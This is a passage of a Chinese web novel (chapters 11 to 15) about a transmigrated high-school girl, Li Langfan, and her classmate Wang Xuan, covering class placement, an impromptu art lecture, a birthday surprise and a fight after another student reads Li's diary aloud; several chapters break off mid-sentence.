正吃着小食的严妤突然插话道:“她可能被西方洗脑了!” 王暄冷哼一声:“也可能是跪的久了,站不起来。她又大谈美式自由民主,想劝我以后赴美发展。还有些难听的话,我也就不再复述了。” 严晏叹了口气,“她变了好多。可见环境对人的影响多么重要。” 王暄脸上流露出一丝讽刺,“我认为不能全怪环境。总之,她话里话外的意思就是:国内的一切都是差的,西方的一切都是好的。我一下午真是如鲠在喉,走之前告诉她没事回国看看,别天天被西方政客和媒体当个似的傻子愚弄。” 严晏又是一声叹息。 “以后别提她。”王暄烦躁地把桌上的照片整理好,装进袋子。 “好好好,以后不提他。” 严晏看他这样子,又问:“那你看到这个女生的脸不会心烦吗?” “怎么可能!我朋友又不是崇洋媚外,数典忘祖的人!她不仅三观正,还博学多识,乐于助人,爱护小动物。”王暄说到这里,神色变得柔软起来。 严晏心知自己好友八成是对人家有好感了。 他看着正在搅拌酸奶的妹妹,岔开话题,“你不是想问他中州一中情况怎么样吗?问呗。” “你想考我们学校?”王暄有些出乎意料。 “嗯。”严妤腼腆地低下头。 “要我说,直升高中部多好,就是不听,非要去全市最好的学校。你看看王暄天天过的都什么狗日子。真不知道你们一个两个怎么想的,没苦硬吃。” 严晏喝了口咖啡,一脸不赞成地看着两人。 王暄哑然失笑,“你也不是不知道咱学校以前那学习环境。都等着玩几年以后出国呢,没多少认真学的。” 他简短地讲了一下中州一中的情况,着重说了些严妤可能不太好接受的部分。 “小妤,你考虑清楚。反正中州的公立高中差不多都是这个样子,只是别的学校可能竞争压力稍微小一点。” 严妤轻轻说:“不用考虑,我就要考中州一中。” 严晏食指点点她的头,“倔得很。” 王暄温柔地笑笑,“知道自己想要什么,这不是很好吗?” 立夏刚过,山河省的气温已悄然升高,许多人都换上轻薄的衣衫。 暖风拂过树梢,不知吹进谁人心里。 “眼睛闭上,有礼物给你。” 周日下午,王暄刚坐到位置上,就迫不及待想把照片给李浪帆。 李浪帆看起来像受惊的小狗,“不用不用,千万别送我东西。” 王暄凝视着她的眼睛,“我发现你很抗拒别人对你好。” 李浪帆神色极为认真,“因为我一无所有,无以为报,所以还是不要欠人情比较好。” 王暄有些心疼,却假装若无其事道:“我也是借花献佛,这份礼物你不要我也不好转赠给别人,” “为什么?”李浪帆问。 王暄拿出文件袋放在李浪帆桌子上。 “把你的照片送给别人,你觉得合适吗?” 沈溪云刚走到座位,就看到李浪帆手里拿着几张照片。 她眼睛一亮,说:“这不是你那天说的暴打小混混……” “嘘——”李浪帆迅速朝她比划。 已经快到上课时间了,班上的同学基本已经都进到教室,沈溪云这句话使得附近的同学注意到她们。 她迅速捂住照片,不想让别人看见。 “你做贼呀?”沈溪云语带戏谑。 李浪帆小声说:“这是我打架斗殴的证据,当然不能张扬。” 左边传来一声轻笑,李浪帆瞥他一眼。 王暄悠然道:“你是见义勇为,怕什么?这几张照片把你拍的多帅。” “真的?我看看!”沈溪云把头凑过去,“偷偷给我看两眼。” 李浪帆用文件袋斜斜挡着,“拍的确实不错,像演电影。主角要不是我,那就更好了。” “哇!”沈溪云小声惊叹,“好帅!你要是男生我就追你!” 李浪帆把照片收起来,对王暄说:“替我谢谢严晏,他拍的比我本人好看多了。也谢谢你,这几年除了毕业照我还没拍过别的照片,会好好珍藏的。” “期末英语考不到九十分不算感谢。”王暄轻轻挑眉。 李浪帆有些底气不足,就算王暄在帮她补习,她也不太抱有希望。 “还有一个多月,我全力以赴吧。” 月 11. 11 《替身女配竟是白月光[穿书]》全本免费阅读 李浪帆的注意力也被吸引过去,“等班长一会儿来了问问她。” 王暄却不大在意,“你的成绩肯定分到A班,无非是六班和八班,都一样。” “这可不一样。”季乾宇突然说,“小道消息,咱们敬爱的王老师,要去六班当班主任。你俩不想再被他教一整年吧?尤其是李浪帆。” 李浪帆夸张地说:“听起来比投胎还重要,希望我列祖列宗保佑吧。” 王暄眼珠一转,“小事,不去他教的班不是轻而易举?你接着讲,还没说后来怎么样呢。” “后来我有没有成功很难猜吗?你卷子还写不写了?” 王暄扭头看一眼教室后面挂着的表,“我要听过程。现在十二点二十七,还有三分钟,你讲完我再写。” “行吧。”李浪帆决定满足他的好奇心。 “我当时提出要求,如果接下来的一个学期,我每次考试都是第一,他们就必须去给我改名,不管学籍有多麻烦都要改。他们同意了。但是真当我次次考第一之后,他们又说只是为了鼓励我学习。” 王暄想也知道她当时该有多失望。 “曾子杀猪的故事,并不是所有家长都听过。”李浪帆说到这里,幽幽叹了口气。 她继续道:“我就说:‘好,从明天开始,我要去学校宣布我叫李浪帆,以后每场考试我也都只写我的新名字。和学籍对不上,没有成绩考不上学,我就回家种地。你们要觉得平凡很好,咱就干脆平凡到底。’他们知道我言出必践,又很重视我的成绩,想让我考个好大学,没办法就妥协了。” “果然三岁看老,你小时候就这么有主见。”王暄眼中闪烁着细碎的星星。 沈溪云把分班名单贴在墙上后,又从层层人墙中挤出来。 她喜形于色,对李浪帆说:“咱俩都分到了八班,班主任是咱现在的政治老师。是不是很棒?” “班长,我呢?”季乾宇探头问。 “和我俩一样!” 沈溪云带着幸灾乐祸的目光看着王暄,“但是很不幸,六班将要成为你的归宿。” 王暄早在沈溪云卖关子时就猜到了。 他看着李浪帆的眼神,里面或许还夹杂了一丝她本人都没有发现的不舍,轻声笑道:“你不舍得我吗?我不会去六班的,等开学了我们还坐一起。” 李浪帆恍然大悟,知道他要走关系了。 八月底开学时,余热还未过去。 李浪帆即便走在树荫下,也感觉地面反射的热量让人喘不过气。 她忽然想起那道“热红外遥感影像亮度反映地物表面温度”的地理题,又带着怜悯的目光看向比他们早开学几天,正在军训的高一新生。 李浪帆走到班级门口,果然看见王暄坐在教室里。 他和季乾宇还坐在第四排原来的位置上。 王暄看着走进来的李浪帆,食指敲敲桌子。 “坐这儿,给你占了位置。” 班上有大约一半人,都是六班的老同学,剩下的是原八班的学生,以及几个从B班考进来的人。 李浪帆发现桌子和椅子上的灰已经被擦得干干净净,而她座位右边放着一包湿巾,还有一些其他物品。 王暄知道她想问什么,“沈溪云擦的,她刚被班主任叫出去了。” 李浪帆点点头,坐下把文具和水杯拿出来。 她看看王暄的脸和胳膊,“你好像晒黑了点儿。” “我在外面玩了三十二天,晒黑多正常。我路上还画完了一本水彩呢。” 他拿出一个B5大小的皮面本子,解开封带给李浪帆看。 王暄画的是钢笔淡彩,几乎全是风景和建筑,只有一些画面中有零星的人物做点缀。 李浪帆仔细欣赏着每一张画,有建筑、有街道、有桥梁、有教堂、山川湖海一应俱全,花草树木无不生动。画面右下角还写着日期和地点。 她喃喃道:“早就听董琳说你画画很好,真是百闻不如一见呀!” 王暄从容一笑,“我比较擅长画场景,人物画的一般。摄影也是,喜欢拍风光很少拍人像。” “这就是南斯拉夫电影《桥》里,被炸掉的那座桥吗?”李浪帆翻到一张画。 那是一幅全景图,峰峦起伏的山脉有一部分掩映在云层的阴影下,一座五拱大桥穿插在群山和峡谷中,右下角写着“黑山7.25”的字样。 “对,是塔拉河谷大桥。1942年被游击队炸毁后,1946年又修复了,我这次专门去黑山看了这座桥。” 他笑意盈盈问李浪帆:“你看过这部电影吗?” 李浪帆遗憾地摇摇头,“没看过,我是在一部纪录片里,看到的这座桥。” “有机会请你看。” “行。”李浪帆并没有当回事,在她眼里“有机会”“改日”“下次”“哪天”都等于“永远不”。 她又往后翻,是一张竖构图,夕阳下的河面上架着一座短桥,桥尽头是宽敞的路口。还有两层欧式建筑。右下角写着“萨拉热窝7.27”。 “萨拉热窝,这不是一战导火索事发地吗?” 王暄当起业余讲解,向她解说:“没错,而且斐迪南大公夫妇就是在这座桥边遇刺的。这座桥叫拉丁桥,在南斯拉夫那会儿叫普林西普桥,普林西普就是那个刺杀他们的塞尔维亚青年。” 翻过这一页后,下一张画是近景,仰视视角画的阳台。阳台上摆着几盆鲜花,鲜花下是遍布弹孔的墙壁。 还有一张也是近景,俯视视角下,地面上溅开了红色血迹。 “这是什么?血?”李浪帆疑惑不解。 “这是红色树脂填充后的弹坑,叫萨拉热窝玫瑰。”王暄说。 “全城有许多这样的萨拉热窝玫瑰,为了纪念1992年到1996年萨拉热窝围城战期间,逝去的生命。” 用浪漫的名字来铭记伤痛的过往,李浪帆听完唏嘘不已。 “我还在贝尔格莱德看到了我国大使馆旧址。” 王暄想到这里,恨恨地说:“总有一天要让老美偿还一切,还要把北约扫进历史的垃圾堆!” 李浪帆想起北约欠下的血债,斩钉截铁道:“绝对会有这么一天,我相信就在不远的将来!” 这时沈溪云回来了,她扑到李浪帆身上,给了她一个熊抱。“想我没!” 李浪帆拍拍她的后背,把她扒拉下来,眼中露出笑意,“当然。” “好了好了,都收收心,不要再聊天了!大家安静下来,回到位置上坐好!”上个学期的政治老师颜丹走进教室,敲敲讲台。 颜丹大概三十岁出头,留着干练的短发,看起来有些严肃 12. 12 《替身女配竟是白月光[穿书]》全本免费阅读 “他可真行!刚开学几天呀就认识学妹了。”沈溪云想到某个和他一样异性缘极佳的人,开口讽刺道。 “估计是以前的朋友。”李浪帆又瞥了他们一眼。 “不知道,女生带着帽子,又是逆光,看不清。”沈溪云说着,还想走近去看。 李浪帆一把拉住她,“管他给谁送呢,又不花你的钱,走吧走吧,回去做题。” 夕阳慢慢坠落,教学楼被染上一层柔和的琥珀色。微风拂过人群,将一天的烦躁尽数驱散。 李浪帆正在做英语阅读理解,刚读到第二问,左边就多了一个热源。 她手中的笔微微一顿,又继续看下一问。 “王暄,这周末我姐姐要和锐博集团的郭旭遥结婚,邀请你来参加婚礼。” 周沅杏挤进第三排,把请帖递给王暄。 “恭喜恭喜,祝他们百年好合。” 王暄接过华丽的请柬,微笑着说:“实在是不好意思,我周末有点事情,抽不开身。我妈会去吗?” “我妈妈打电话问过了,张阿姨这周在国外谈业务,下周才回北明市呢。” 周沅杏的声音听起来软糯清甜,“哎呀,你就来嘛!我妈妈也说好久没见到你了。” 王暄神色平和,向她解释道:“我周日确实回不来,还得找班主任请假。替我向你姐姐和妈妈转达歉意,我会安排人把贺礼送过去的。” “好吧。”周沅杏低着头,难掩失落。 待周沅杏走后,沈溪云眼中带着讥笑,凉凉开口:“你小子人缘可以呀!刚给学妹送完水,回来还有人邀请你去赴宴。” “你们看见了?”王暄下意识觑了眼李浪帆的脸色。 “我们看见不要紧,别被主任看见就行。”沈溪云阴阳怪气回答他。 王暄又好气又好笑,“你看也不看清楚,那是严妤。考到咱们学校了,严晏托我照顾一下。” 他调侃道:“你只记得你的老朋友,不记得人家妹妹是不是?” 沈溪云瞪大了双眼,“啊?我印象里她还在上小学!” 王暄轻笑一声,不再理她。 侧身对正在做题的李浪帆说:“我喜欢的一位日本左翼漫画家,周末在魔都有个签售会,刚好严晏也在那边拍戏,我们准备一起去。” 他又说了几部知名作品,问道:“你有喜欢的吗?我给你带。” 李浪帆认真盯着一知半解的英语文章。 “没有。” 王暄见状,凑过去看她正在做的题,讲明白后,发现她心情好多了。 周一下午王暄回来的时候,带了些文创小礼品分给周围同学。 他递给李浪帆一本厚厚的古画手帐,还有一套书签。 “刚好有个国画展览,我带回来了一些小玩意儿。” 李浪帆接过本子,硬质封面上印着一副国画。 正面有粗壮斑驳的树干垂下柳枝,上面落着三只白头白腹的乌鸦,鸦背墨色极浓,黑如点漆。右侧两只相互依偎,左侧一只似在呼唤躲在树下的另一只同伴。 背面是清澈的水池,高耸的芦竹,还有四只形态各异的雁。 看起来生动有趣,栩栩如生。 “这画叫什么?”李浪帆问。 “《柳鸦芦雁图》,是咱老乡赵佶的作品。”王暄说。 李浪帆听到“老乡”,想起靖康耻,觉得十分丢人。 “书画领域他登峰造极,治国理政他啥也不是。” 王暄低笑一声,三言两语给她讲介绍这幅画的画法及来历。 “高雅!确实高雅!”李浪帆听完不由称赞。 “虽说国家要求学生德智体美劳全面发展,但是我对美学反正一窍不通。不愧是文艺委员,你太文艺了。” 来送伴手礼的周沅杏恰巧听见。 她把红色的精致手提袋放在王暄桌子上,对他甜甜一笑,“这是给你的回礼。” 又语带嘲讽对李浪帆说:“想吹捧别人也不必如此,画有什么看不懂的?” 王暄敛去笑容,淡淡道:“那请你教教大家怎么鉴赏。” 周围同学一听这话就知道有好戏看,悄悄竖起耳朵。 周沅杏微微撇嘴,说:“不就是看画面内容,风格,结合作者生平分析嘛。” “就这?”王暄挑眉。 他对李浪帆说:“你别被她误导了。” “咱这儿学生长这么大,基本就没上过几节美术课,不会赏析也正常。”李浪帆在说自己。 周沅杏以为李浪帆是在内涵她,感到没面子,“嘁”了一声,扭头就走。 王暄笑着对李浪帆说:“我这好为人师的毛病可能是改不了了,刚好触及到我擅长的领域,让小王老师给你讲讲。” 李浪帆眼中透出明亮的色彩,前面几个同学也转过身来,想听王暄讲。 王暄说:“我翻过咱发的美术课本,虽然我们从来没用过……大概有美术鉴赏、绘画、中国书画、设计、雕塑、工艺、篆刻这些。” 由于美术不是考试科目,虽然课表上有这门课,但是山河省的学生几乎从初中开始,就没怎么见过美术老师。 王暄继续说:“就比如说中国画,有很多分类。” 他从内容和技法简单分类,大致介绍了一下中国画。 王暄找不到发的美术书塞哪了,只好对李浪帆说:“你把那盒书签拆开,没图不太好讲。” 李浪帆把盒子打开,拿出里面的二十张书签递给他。 王暄随便从中间抽了一张,拿起一看,是《墨梅图》。 “中国画自宋朝起,开始集诗、书、画、印于一体。就比如说王冕的这幅《墨梅图》……” 几道专注的目光汇聚在画上。 “书签比较小,看不清,但是王冕写的诗我们小学背过。” “吾家洗砚池头树?”李浪帆问。 “没错。” 王暄又抽出一张书签,这次是《千里江山图》。 他以两张图为例,从题材、画面布局、笔法、墨法、意涵、幅式、款识、题跋、创作背景等等展开简单的鉴别、比较、分析、评价。 直听得几人惊叹不已,恨不能以后的美术课都让王暄上去讲。 王暄根本不在意别人夸赞他什么,只是看着李浪帆,得意神色从眼中一闪而过,像被摸头的大狗狗。 沈溪云的第六感敏锐地告诉她,这些都是王暄吸引李浪帆的小花招。 “幼稚!”她腹诽道。 第一节晚自习下课后,李浪帆和沈溪云在洗手间门口被拦住。 周沅杏斜睨着李浪帆,嘴角勾起一抹嘲讽的弧度。 “李浪帆,你想通过勾引王暄,来实现阶层跨越,未免太痴心妄想了。你也不用得意。像他这种身份,对你也只是玩儿两天罢了。” 李浪帆大为震撼,没想到还没当上替身就能听到这种话。 她不假 13. 13 《替身女配竟是白月光[穿书]》全本免费阅读 “你想让我成为什么样的人?”王暄反问她,说出的话却有些暧昧。 李浪帆话一出口,就觉得这个问题似乎有些唐突。 现在王暄这么问,她只好笑笑,开玩笑道:“社会主义伟大事业的接班人。” 王暄正色道:“我们都会是这样的人。” 李浪帆决定不再去纠结原文写的,她们未来的走向和结局。 她只相信自己看到的人和事,只想过好今天,不管有没有以后。 两周一节的美术课如期而至。 但是从没人在课上见过美术老师,她永远都“有事不能来”。 班主任颜丹走进教室,让大家上自习。 几个同学起哄说:“老师!美术老师不来可以让王暄讲课!王暄昨天就给李浪帆讲过!他讲的可好了!” 颜丹探究的视线扫过被点到名字的两人。 又有人附和说:“是啊,老师,你让我们上一节美术呗!” 颜丹觉得这也是一次锻炼的机会,就答应了。 “可以,但是老师提出三点要求。一、要把美术和其他学科结合起来。二、美术课没有图片不够直观,要做课件,不能干站在上面讲。三、时间控制在二十分钟。” 她注视着王暄,“这是个挑战,王暄,你能做到吗?” 不少人都觉得班主任不想让他们上美术课,故意在刁难王暄。 但沈溪云很清楚,这就是正常的教学要求。 “他能给邻桌讲,肯定也能给我们讲!王暄,别怕!”有胆子大的男生继续起哄。 王暄一来不想李浪帆因为总被提到名字而尴尬,二来确实喜欢这个挑战。 于是他从善如流道:“前二十分钟上自习,我先做个PPT。” 颜丹非常欣赏他敢想敢做,毫不怯场的样子,也和同学们一样开始期待后半节课。 上课时间,大家都在做作业,王暄也不好跟李浪帆说悄悄话。 他传过去一张纸条,上面写着:“有什么建议吗?” 李浪帆很快回复他:“绘画与历史应该很好结合,你换点新内容,别让他们觉得你就会那些花样。” 两人进行了一番头脑风暴,王暄打算讲他最擅长的动画。 李浪帆提议:“把外国动画和我国历史结合起来怎么样?” 王暄在纸上写:“很好。那我写几个动画片上映的时间,你联系近代史帮我写一下历史部分的内容。” “没问题!” 最后两人把这节课的课题起名为:动画时间线上的中国。 主要内容是,同一时间线上的世界动画发展与中华民族复兴。 王暄对世界动画发展史烂熟于心,他略一思索,写下“1919”“1921”“1937”“1940”“1949”“1957”“1964”“1997”“1999”“2008”和“今年”。 然后又问她:“需要查资料吗?” 李浪帆觉得王暄小瞧她,写下了大大的两个字:“不用!” 王暄刚拿着看,她又伸手夺过来,加了一句:“你去做课件吧!一会儿把稿子给你。” 距离上课铃响,已经过了五分钟。 王暄走到多媒体讲台,对颜丹轻声说:“老师,我来做PPT。” 颜丹小声问他:“讨论出结果了?” 王暄点点头。 他的PPT做的非常简单,只是打上了课题、年份、动画名称,以及动画的截图,内容和介绍一个字也没有,都在他脑子里。 只是搜图片比较费劲,教室的电脑慢得出奇。 等到他全部搜完以后,差不多就到二十分钟了。 王暄走到座位上,想看李浪帆写了多少。 恰巧她画下最后一个句点。 李浪帆把本子递给他,挑眉一笑。 王暄轻易地读懂了她的神情,那是在说:“怎么样,我厉害吧!” 他肯定地竖起大拇指,又迅速通读一遍。 然后不由得小声惊叹:“太强了!” 王暄走到讲台上,对颜丹示意可以开始讲课了。 同学们听到他走上讲台,也都抬起头。 王暄看着台下六十多位同窗,点击课件,从容不迫地拉开序幕。 他从19世纪诞生的,被誉为是“动画鼻祖”的法国人埃米尔·雷诺讲起,又讲到1919年美国制作的动画短片《猫的闹剧》。 短短数语介绍了动画片的内容,菲利克斯猫的影响。 然后他看了一眼李浪帆给的稿子,说道: “在黑猫活跃上荧屏的这一年,在法国巴黎的凡尔赛宫召开了巴黎和会。和会议决将德国在山东的权利割让给日本。 同一年的国内,提出了“外争主权,内惩国贼”、“废除二十一条”等口号,并拒绝在凡尔赛和约上签字,要求惩办亲日官僚曹汝霖等人。 自此展开了声势浩大的五四运动。这是新民主主义的开端,也是中华民族历史上伟大的转折点。” 接着王暄又讲了1921年的《节奏21》;1937年的《白雪公主和七个小矮人》;1940年首映的《猫和老鼠》;1949年的《兔八哥在南极》;1957年的《鼹鼠的故事》;1964年的《粉红豹》…… 所有的影片,他都会大致介绍内容,以及该部短片在动画史上的意义。 他每讲到一部动画,就会紧跟着讲这一年东方发生的大事件。 从嘉兴的红船,到“卢沟桥事变”,再到杨靖宇的壮烈牺牲;东方巨人从废墟中站立;走上百花齐放的道路;“邱小姐”的横空出世;港、澳回归;我国登上太空的第一人;奥运会的举办,从那以后,东方大国赢来了经济飞速增长的时代。 王暄讲完最后一部动画,做出结语:“大家可以很明显感觉到,一百年前我们与西方的割裂感简直像在两个世界。中华儿女正在浴血奋战,抵御敌人入侵时,美国人正在大洋彼岸,看着《白雪公主》,过着歌舞升平的生活。 但是!而今的中国早已不是当年积贫积弱的中国!也不是与世界发展脱轨的中国!清末的时局图中,我们土地上还盘踞着各方势力,而如今我们的国际实力与地位已然发生巨大转变。 一百年来,正是由于无数仁人志士的前仆后继,我国从站起来到如今强起来,由乱到兴,天翻地覆,换了人间。” 讲台下响起雷鸣般的掌声。 王暄站在讲台上,静静地等掌声与喝彩平息。 然后他说:“我要特别感谢一下李浪帆。” 他举起本子给大家看,“本节课所有和历史有关的内容都出自于她。” 14. 14 《替身女配竟是白月光[穿书]》全本免费阅读 寒露惊秋晚,朝看菊渐黄。 小长假结束这天,秋意渐浓,正是寒露时节。 李浪帆刚走进教室,就看到许相宜正哼着歌,拿着一张明星的签名专辑在班里炫耀,恨不得展示给所有人看。 许相宜看见沈溪云正坐在位置上看书,欢欣雀跃地把专辑拿到她面前。 “溪云,你看这是什么!宋臻亲笔签名的新专辑!” 许相宜脸上洋溢着得意的笑容,把专辑直杵到沈溪云眼前。 “我记得你高一开学时说过,最喜欢的歌手就是宋臻!” 沈溪云眉间微蹙,缓缓叹了口气。 “我现在已经不喜欢他了。哎……他竟然还能复出,真是稀奇。” 许相宜一脸莫名其妙地看着她,有些鄙弃这种粉转黑的回踩行为。 “为什么?他那么有才华!本来就不应该因为一点小事被埋没!” 王暄闻言,淡淡看她一眼:“吸毒都叫一点小事的话,那你的人生恐怕没有大事了。” 消息毫不灵通的李浪帆有些出乎意料:“他吸毒了?我记得他前几年不是巨火吗?大街小巷都是他的歌。” 王暄冷笑一声:“何止,他不光自己吸,还收容他人聚众吸毒。真是狗胆包天!内地去年就封杀他了,没想到现在竟然还有粉丝替他洗。” 许相宜急忙辩解道:“他在台湾没有被封杀!他是台湾土著,又不是中国人,内地法律又管不到他!” 三人齐刷刷地看着许相宜,脑子里都不由自主浮现出一个念头:“我怎么和这种人在一个班里读书?” 李浪帆看许相宜的眼神像在看垃圾。 她愤怒地从“自古以来”说到当代青年正确的价值观。 有理有据,滔滔不绝,根本不给别人插嘴的机会。 许相宜被批判到哑口无言,眼珠一转,开始人身攻击。 “你就是因为嫉妒!嫉妒我可以拿到偶像的专辑!谁像你?什么都买不起!” 李浪帆不屑笑道:“嫉妒你晚上不睡觉,天天打电话向男朋友求了一个月,才要来的吸毒明星专辑?” 许相宜昂首挺胸,“那又怎样!我就是有男朋友愿意给我买专辑。不像你,根本没有人爱,永远也收不到这样贵重的礼物!” 李浪帆被她的逻辑气笑了,她完全不认为赔笑一个月换来的礼物,也能冠以爱的名义。 王暄看着李浪帆,实在是不明白,怎么会有人连生气都叫他心动不已。 他正要开口,就见李浪帆指着班级后面的标语,一个一个念道:“‘自尊’‘自爱’‘自强’‘自信’,我根本不需要通过别人的爱来肯定自我价值。” 许相宜志得意满:“但是偏偏有很多人爱哥哥,他人气就是那么高!比你有价值的多得多!” 李浪帆勾唇一笑:“旱厕里的苍蝇也很多,它们盯上了什么,不言而喻。” 许相宜听到偶像被侮辱,一下就气红了眼。 这时有同学传信说门口有女生找王暄。 王暄看向门口,严妤手上提着一个蓝色纸袋站在那里。 他冲严妤摆摆手,示意她稍等一下。 许相宜终于想到反击的话,“毕竟你是孤儿,连父爱母爱都体会不到。你吃不到葡萄就说葡萄酸,当然说别人的爱不重要。” 王暄双眸微眯,冷冷道:“许相宜,你这素质可不像是有爸妈的。” 许相宜暗骂他们人多势众,拿起专辑,愤怒离开。 王暄起身,轻轻拍了拍李浪帆的肩,这才出门去见严妤。 严妤把袋子递给他,两人说了几句话。 王暄回到座位,从纸袋里掏出一个盒子,打开盒子,里面是三大袋真空压缩过的牛肉干。 他把盒子推到李浪帆面前:“别生气,吃点零食转换一下心情。” 李浪帆觉得这是人家女生送他的,她吃不合适。 王暄解释说:“那是严晏的妹妹,东西是严晏让她带的。他前几天在藏区拍综艺,节目上炒了很多牦牛肉干。” “沈溪云,这是他让我转交给你的。” 沈溪云盯着这袋牛肉干,不知想起了什么旧事,眼睫微颤,叹了口气。 “他还能想起我?真是稀奇。” 王暄实在是不想处理他们两个之间的恩怨,只说:“你要是想看他的节目表现,周六晚上那综艺就播了。” 他拿出一包放在桌子上,对前后几个同学说:“谁想吃自己拿。” 然后和李浪帆一起分享最后一袋。 晚自习时王暄看李浪帆一直情绪不佳,就花了一节课的时间,引经据典地写了封信。 信中安慰她,有很多人爱她,并且很容易看得出,她也在爱着这个世界。 李浪帆看王暄埋头在纸上写写画画,轻声问道:“明天就要期中考了,这会儿不看考点,你在写什么呢?” 王暄盖住信,眨眨眼表示保密,只让她晚自习下课后去孔子像那里。 李浪帆不知道他葫芦里卖的什么药,“你都走了,还让我去干嘛?大晚上的,有什么事不能明天说吗?” “你到时候就知道了,放心,我又不会吃了你。”王暄依然神神秘秘。 李浪帆听到这话,只哼笑一声。 下课后学生们成群涌向宿舍楼和商店。 这天正是十五,秋月如霜,清景无限。 李浪帆披着一层轻纱似的月光,走到学校前门附近的孔子像那里。 那是检查盲区,老师们一般都会去紫藤花廊或者小树林抓约会的情侣。 几乎没有男女生单独约在孔子像处见面。 孔子像底座上放着一个大盒子,王暄站在旁边,周身像笼罩着清冷的雾气,令人有些看不真切。 王暄打开了保温箱盒子,从里面提出一个丝带缠绕的纸盒。 “款式是我设计的,前几天就找店订制了,你看看喜不喜欢。” 他解开丝带,打开盒子,一块精致绝伦的蛋糕映入眼帘。 蛋糕大约六寸大小,总体呈现偏圆形的不规则形状,分高低两层,错落有致。 盒子底部是鲜花和绿地。 低处是翠竹掩映的水池,有只憨态可掬的熊猫幼崽正在撩水,水池后是一株玉兰树。 高处的树杈上也坐着一只熊猫,它正在伸手去摘树上的玉兰花。 两只熊猫无论是动作还是神态都雕刻的栩栩如生,就连毛发也纤毫毕现。 “生日快乐!”王暄脸上蔓延开笑意,大声送出祝福。 李浪帆的心脏怦怦狂跳,她觉得自己连声音都有些颤抖了。 “你怎么知道……” “军训的时候我问过你,你说生日是农历九月十五。”王暄眉眼弯弯。 李浪帆没想到,她随口一句话能被王暄记到现在。 王暄插上一根蜡烛, 15. 15 《替身女配竟是白月光[穿书]》全本免费阅读 “……他比骄阳还炽热,较月色更温柔。摇曳的烛光模糊了距离,而那歌声叫我意识昏沉,像被蒙住了眼睛,然后荒谬把我和他混为一谈。 如果注定有残酷的结局等在后面。或许在此之前,我的灵魂会越过山海,与他相连;即便未来如朝露般短暂;即便银河会坠入我们中间。” “真是恶心!” 许相宜做出嫌恶的表情,大声念着李浪帆的日记。 “写的挺好,真想摘抄下来,可惜议论文用不上。”有同学拿起笔又放下,有些可惜地在想。 有一个女生厉声呵斥她,“许相宜,你太过分了,快把人家日记放回去。你这是侵犯隐私!” “我就是要让大家都知道她是什么人!”许相宜骄傲地举起日记本,封面写着四个大字“非礼勿动”。 “你接着念!这李浪帆平时看着挺清高,谁都不爱搭理的样子,原来这么闷骚啊!” “就是,说不定她心里早就计划好了傍个有钱人。不爱跟别人说话,是因为看不上呗!” “那有什么,说不定李浪帆早就被玩儿过了。要是能勾引上王暄,她下辈子都不用愁了!我要是个女的,我也想试试。” 几个男生凑在一起哄笑不已,终于找到可以道德审判李浪帆的机会。 第一排的女生扭过来骂他,“陆腾达,就你这下流的死样子,也不撒泡尿照照自己,你就算嘎了零部件想当女的,也没人看得上你!” “你他妈说谁呢?你还敢替这种□□来骂我,信不信我……”陆腾达气急败坏就想上前动手。 “我说你呢!有种你立刻动手,打架斗殴开除学籍,你不想上了就试试!”女生指着监控,冷冷一笑。 陆腾达脸色变了又变,但要他就此作罢又觉得没面子。 正犹豫时,一道低沉的声音传来。 “你敢动她一下,我叫你横着出去。” 霎时间,所有人都噤了声,只见李浪帆面色阴沉从后门走进来。 “浪帆,许相宜偷你日记!”刚才的女生快步走到她旁边。 然后又指着那几个男生,“还有他们仨,背后骂你,说的可难听了。” “许相宜,把本子还我。”李浪帆强压怒火,声音蕴含着极危险的气息,目光如利剑般凌厉逼人。 许相宜觉得她是在虚张声势吓唬自己,就把日记举得更高了,趾高气扬地看着她。 “你怕别人知道你想傍富二代吗?就凭你这张脸……” “嘭!” 一声巨响,许相宜的桌子被李浪帆一脚踹飞出去,砸到教室墙角的垃圾桶边。 课桌翻滚在地,桌面上的课本、文具、水杯、连同桌子里塞的所有的书、练习册、护肤水、零食、抽纸、专辑,通通掉落出来。有的还掉进垃圾桶里。 许相宜被吓得尖声长叫。 原本说她坏话的几个人,看到这骇人的气势,也都不敢再多说一字,悄悄把头缩了回去。 “三、二……” 李浪帆不带一丝温度地开始倒计时。 许相宜看着掉落一地的东西,恨得咬牙切齿,手里抓着日记就要撕个粉碎。 李浪帆随手抄起一把椅子,朝她头上砸去。 许相宜根本来不及反应,手中的日记本掉在地上,她只愣愣地看着椅子朝她挥过来,眼前的风似乎都沾染上血腥味。 所有人都惊呆了。 千钧一发之际,跑进教室的王暄,死死抓住了李浪帆的手臂。 “李浪帆!别冲动!” 李浪帆像一台生锈的机器,缓缓看过去,瞬间有种正被扒光了游街的错觉,全身都失去力气。 王暄听到消息,一路从食堂跑回来,此刻正气喘吁吁,神色焦急。 他连忙把椅子从李浪帆手中抢下,“冷静,冷静。不要动手。” 许相宜看当事人之一回来了,再看李浪帆也没有刚才的神气,又觉得胆气陡升。 “李浪帆,你刚才还把我桌子踢倒,现在一看王暄来了,动都不敢动,装什么柔弱!真是婊子划船不用桨,全靠浪!你爸妈给你取的名字一点儿没错!和你本人一样!” 李浪帆耳边是王暄絮絮地,劝她冷静的话语,缠混着许相宜冲王暄说自己恬不知耻暗恋他的事,一股脑全涌进她耳朵里。 她不断在心里问自己:“他知道了怎么办?他会怎么想我?他一定觉得我……” 想到这里,她不由自主地看向王暄,眼神闪动,夹杂着一丝害怕与恐惧。 王暄看着她的眼神,心猛然揪了起来。 他很想抱抱李浪帆,但又知道现在绝对不是好时机。 于是只轻柔地抚拍着她的背,“没事,只是狗叫,不要听。” 王暄盯着许相宜,双眸森冷无比,“我拦下李浪帆,是怕她把你打死。为了你背上杀人的罪名,也太不值当了。” 他弯下腰,捡起地上的日记本,轻轻拂去灰尘,交到李浪帆手里。 “你是个非常优秀的人。” 他温柔又坚定地看着李浪帆:“虽然你之前说不需要通过别人的爱来肯定自我价值,但我仍然觉得,能得你青眼,是我莫大的荣幸。” 李浪帆此刻思绪万千,站在那里不发一言。只是反复告诉自己,他不是原文中那个自私虚伪的男主,我也不是供人取乐的玩物。 我活得堂堂正正,没有什么可心虚的,欣赏就是欣赏,喜欢就是喜欢。 王暄转而对许相宜道:“多亏了你可耻的小人行径让我知道了这件事,等会儿送你份大礼。” 许相宜转身骂骂咧咧去教室后面捡自己的东西。 王暄正要拉着李浪帆的手腕回座位,却被她轻轻拂开。 李浪帆走到刚才被指的三个男生面前。 